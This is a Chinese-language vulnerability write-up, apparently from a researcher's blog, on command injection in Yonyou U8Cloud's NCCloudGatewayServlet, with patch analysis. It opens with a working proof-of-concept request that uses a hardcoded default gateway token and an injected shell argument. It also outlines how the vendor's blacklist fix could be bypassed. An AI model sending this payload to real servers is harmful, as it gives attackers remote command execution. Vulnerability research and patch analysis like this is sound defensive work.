用友 U8Cloud NCCloudGatewayServlet 命令注入漏洞

exp3n5ive Lv2

也是挺久之前复现的了 , 当时好像是官方先发了通告 , 然后 CT 当天晚上复现的 , 发了公众号 .

漏洞挺简单的 , 当时晚上看了一眼补丁就知道怎么回事了 . 第二天早上写的 POC , 然后在公司发了次公众号 , 也算是没白来实习一趟

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /servlet/NCCloudGatewayServlet HTTP/1.1
Host:
gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
Content-Type: application/json

{
"serviceInfo": {
"serviceClassName": "com.ufida.zior.console.IActionInvokeService",
"serviceMethodName": "exec",
"serviceMethodArgInfo": [
{
"argType": { "body": "java.lang.String" },
"argValue": { "body": "nc.bs.pub.util.ProcessFileUtils" },
"agg": false,
"isArray": false,
"isPrimitive": false
},
{
"argType": { "body": "java.lang.String" },
"argValue": { "body": "openFile" },
"agg": false,
"isArray": false,
"isPrimitive": false
},
{
"argType": { "body": "java.lang.Object" },
"argValue": { "body": "poc.txt \"|calc\"" },
"agg": false,
"isArray": false,
"isPrimitive": false
}
]
}
}

漏洞分析

入口点位于 com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW#doAction

token 鉴权分析

跟进 com.yonyou.nccloud.gateway.adapter.GateWayUtil#checkGateWayToken

从配置中读取 nccloud.gateway.nctoken 再解密就是 token , 全局搜索 nccloud.gateway.nctoken :

定位解密函数 nc.vo.framework.rsa.Encode#decode , 解密结果为 TJ6RT-3FVCB-DPYP8-XF7QM-96FV3


命令注入分析

跟进 com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW#callNCService

经过一系列判断之后到达 :

根据补丁我们可以知道使用的服务类是 com.ufida.zior.console.ActionInvokeService :

它的 exec 方法可以反射调用 public 类的 public 的方法 ( 还有一些限制后面会说 ) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package com.ufida.zior.console;

import java.lang.reflect.Method;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;

/**
* 动作执行器 - 通过反射机制动态调用类的方法
* 使用缓存提高方法查找性能
*/
final class ActionExecutor {
// 缓存方法映射表:key为"类名:方法名",value为对应的Method对象
private static final Map<String, Method> map_method = new ConcurrentHashMap();

/**
* 执行指定类的指定方法
*
* @param actionName 类全限定名
* @param methodName 方法名
* @param paramter 方法参数
* @return 方法执行结果
* @throws Exception 如果执行过程中出现异常
*/
static Object exec(String actionName, String methodName, Object paramter) throws Exception {
// 参数校验
if (actionName != null && methodName != null) {
// 通过反射创建类的实例
Object action = Class.forName(actionName).newInstance();
String key = actionName + ":" + methodName;

// 从缓存中获取方法
Method m = (Method)map_method.get(key);
if (m == null) {
// 缓存未命中,通过反射查找方法
Class<? extends Object> actionclz = action.getClass();

try {
// 首先尝试精确匹配参数类型为Object的方法
m = actionclz.getMethod(methodName, Object.class);
} catch (NoSuchMethodException var13) {
// 精确匹配失败,遍历所有方法按方法名匹配
Method[] mthds = actionclz.getMethods();

for(Method mthd : mthds) {
if (methodName.equals(mthd.getName())) {
m = mthd;
break;
}
}
}

// 将找到的方法放入缓存
if (m != null) {
map_method.put(key, m);
}
}

// 方法不存在时抛出异常
if (m == null) {
throw new IllegalArgumentException("Mthod " + methodName + " not exists.");
} else {
Object result = null;
// 获取方法的参数类型
Class<? extends Object>[] types = m.getParameterTypes();

// 根据参数情况调用方法
if (types != null && types.length >= 1) {
// 方法有参数时直接传入参数调用
if (types.length == 1) {
// 单参数方法的特殊处理(但实际逻辑与多参数情况相同)
if (paramter != null && paramter.getClass().isArray()) {
result = m.invoke(action, paramter);
} else {
result = m.invoke(action, paramter);
}
} else {
// 多参数方法调用 , 实际好像会报错
result = m.invoke(action, paramter);
}
} else {
// 无参数方法调用
result = m.invoke(action);
}

return result;
}
} else {
throw new IllegalArgumentException();
}
}
}

根据补丁我们也能定位到 sink 点为 nc.bs.pub.util.ProcessFileUtils#openFile(java.lang.String)

这里存在命令注入漏洞

补丁分析

首先下载官方补丁 :

https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c

补丁是对类进行了替换 :

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<installpatch>
<copy><from>/replacement/modules/</from><to>/modules/</to></copy>
</installpatch>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
│  installpatch.xml
│ packmetadata.xml
│ readme.txt

└─replacement
└─modules
└─uapbd
├─classes
│ └─com
│ └─yonyou
│ └─nccloud
│ └─gateway
│ └─adapter
│ │ GateWayUtil.class
│ │
│ └─util
│ GWWhiteCtrlUtil.class

└─META-INF
└─classes
└─com
└─yonyou
└─nccloud
└─gateway
└─adaptor
└─servlet
ServletForGW.class

ServletForGW

doAction

第一处是 com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW#doAction 中增强了 token 验证逻辑 :

修复前 :

1
GateWayUtil.checkGateWayToken(request.getHeader("gatewaytoken"));

修复后 :

1
GateWayUtil.checkGateWayTokenNew((String)request.getHeader("ts"), (String)request.getHeader("sign"));

使用了新的方法进行校验 , 具体实现后面讲


callNCService

第二处是 com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW#callNCService :

在反射调用指定服务类的方法时会检查 serviceClassName 以及 argValues , 具体实现在下面讲


GateWayUtil

checkGateWayTokenNew

第一处是新增了 checkGateWayTokenNew 方法 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void checkGateWayTokenNew(String ts, String sign) throws Exception {
if (StringUtils.isEmpty((String)ts) || StringUtils.isEmpty((String)sign)) {
throw new Exception("\u60a8\u6ca1\u6709\u8bf7\u6c42\u8be5\u670d\u52a1\u7684\u6743\u9650\uff0c\u8bf7\u91cd\u542f\u7f51\u5173");
}
long tsLong = 0L;
try {
tsLong = Long.parseLong(ts);
}
catch (Exception ex) {
throw new Exception("\u60a8\u6ca1\u6709\u8bf7\u6c42\u8be5\u670d\u52a1\u7684\u6743\u9650\uff0cts\u53c2\u6570\u5f02\u5e38");
}
if (Math.abs(System.currentTimeMillis() - tsLong) > 180000L) {
throw new Exception("\u60a8\u6ca1\u6709\u8bf7\u6c42\u8be5\u670d\u52a1\u7684\u6743\u9650\uff0c\u53c2\u6570\u5df2\u8fc7\u671f");
}
if (!StringUtils.equals((String)sign, (String)GateWayUtil.sign(ts))) {
throw new Exception("\u60a8\u6ca1\u6709\u8bf7\u6c42\u8be5\u670d\u52a1\u7684\u6743\u9650\uff0csign\u9a8c\u7b7e\u5931\u8d25");
}
}

增加了时间戳验证 , 防重放攻击 , 但是实际上没有用 , 因为最终使用的还是配置里的默认密钥

( 这里要跟进 sign 方法才能看到 , 我忘记贴了 )


GWWhiteCtrlUtil

checkAuthority

第二处是 GWWhiteCtrlUtil 的 checkAuthority 方法 , 这是个新增的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package com.yonyou.nccloud.gateway.adapter.util;

import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import nc.bs.framework.common.RuntimeEnv;
import nc.bs.logging.Logger;
import nc.vo.bd.pub.BDCacheMiscUtil;
import nc.vo.pub.BusinessException;

public class GWWhiteCtrlUtil {
private String SQLVIEW = "SQLVIEW";
private String ITFMAP = "ITFMAP";
private Map<String, Object> cache;
private static final String[] BannedSqlWord = new String[]{"drop", "delete", "update", "insert", "exec", "execute", "create", "alter"};
private static Map<String, GWWhiteCtrlUtil> dsName_instance_map = new ConcurrentHashMap<String, GWWhiteCtrlUtil>();

/*
* WARNING - Removed try catching itself - possible behaviour change.
*/
public static GWWhiteCtrlUtil getInstance() {
String dsName = BDCacheMiscUtil.getCurrentDatasourceName();
GWWhiteCtrlUtil instance = dsName_instance_map.get(dsName);
Map<String, GWWhiteCtrlUtil> map = dsName_instance_map;
synchronized (map) {
instance = dsName_instance_map.get(dsName);
if (instance == null) {
if (!RuntimeEnv.getInstance().isRunningInServer()) {
dsName_instance_map.clear();
}
instance = new GWWhiteCtrlUtil();
dsName_instance_map.put(dsName, instance);
}
}
return instance;
}

public void checkAuthority(String serviceClassName, Object[] argValues) throws BusinessException {
this.checkSQLQuery(serviceClassName, argValues);
this.checkITFAuthority(serviceClassName, argValues);
}

public void checkSQLQuery(String serviceClassName, Object[] argValues) throws BusinessException {
}

public void checkITFAuthority(String serviceClassName, Object[] argValues) throws BusinessException {
this.checkBlackITFAuthority(serviceClassName, argValues);
}

public void checkBlackITFAuthority(String serviceClassName, Object[] argValues) throws BusinessException {
if ("com.ufida.zior.console.IActionInvokeService".equalsIgnoreCase(serviceClassName) && "nc.bs.pub.util.ProcessFileUtils".equalsIgnoreCase(String.valueOf(argValues[0]))) {
Logger.error((Object)"\u76ee\u524d\u6ca1\u6709\u67e5\u3010nc.bs.pub.util.ProcessFileUtils\u3011\u63a5\u53e3\u6743\u9650");
throw new BusinessException("\u76ee\u524d\u6ca1\u67e5\u8be2\u3010nc.bs.pub.util.ProcessFileUtils\u3011\u63a5\u53e3\u6743\u9650");
}
if ("nc.itf.uap.IUAPQueryBS".equalsIgnoreCase(serviceClassName)) {
String argSql = ((String)argValues[0]).toLowerCase();
String[] stringArray = BannedSqlWord;
int n = BannedSqlWord.length;
int n2 = 0;
while (n2 < n) {
String word = stringArray[n2];
if (argSql.contains(word)) {
Logger.error((Object)("SQL\u8bed\u53e5\u4e2d\u5b58\u5728\u654f\u611f\u8bcd:" + word));
throw new BusinessException("SQL\u8bed\u53e5\u4e2d\u5b58\u5728\u654f\u611f\u8bcd:" + word);
}
++n2;
}
}
}
}

在 checkBlackITFAuthority 中检测了我们的 serviceClassName 是否为 com.ufida.zior.console.IActionInvokeService , 并且 argValues[0] 是否为 nc.bs.pub.util.ProcessFileUtils

如果满足就会抛出异常

可以看出官方这里修的很随意 , 居然只是使用了简单的黑名单禁用了 ProcessFileUtils 这个类

所以 IActionInvokeService 中的方法调用还是在的 , 只要能再找到一个

调用的类必须有** public 的无参构造方法**

调用的方法是 public

调用的方法是无参单参且为基本类型 , 如果多参数必须是 String/String[]

的危险方法 , 应该就可以利用

笔者后面和朋友一起找到了很多新的 Sink 点 , 可惜提交到了 CNVD 没被收

很久没关注这个产品了 , 不知道官方有没有进一步修复这个漏洞

  • Title: 用友 U8Cloud NCCloudGatewayServlet 命令注入漏洞
  • Author: exp3n5ive
  • Created at : 2025-10-26 12:07:32
  • Updated at : 2025-10-26 12:08:24
  • Link: https://exp3n5ive.github.io/2025/10/26/用友 U8Cloud NCCloudGatewayServlet 命令注入漏洞/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments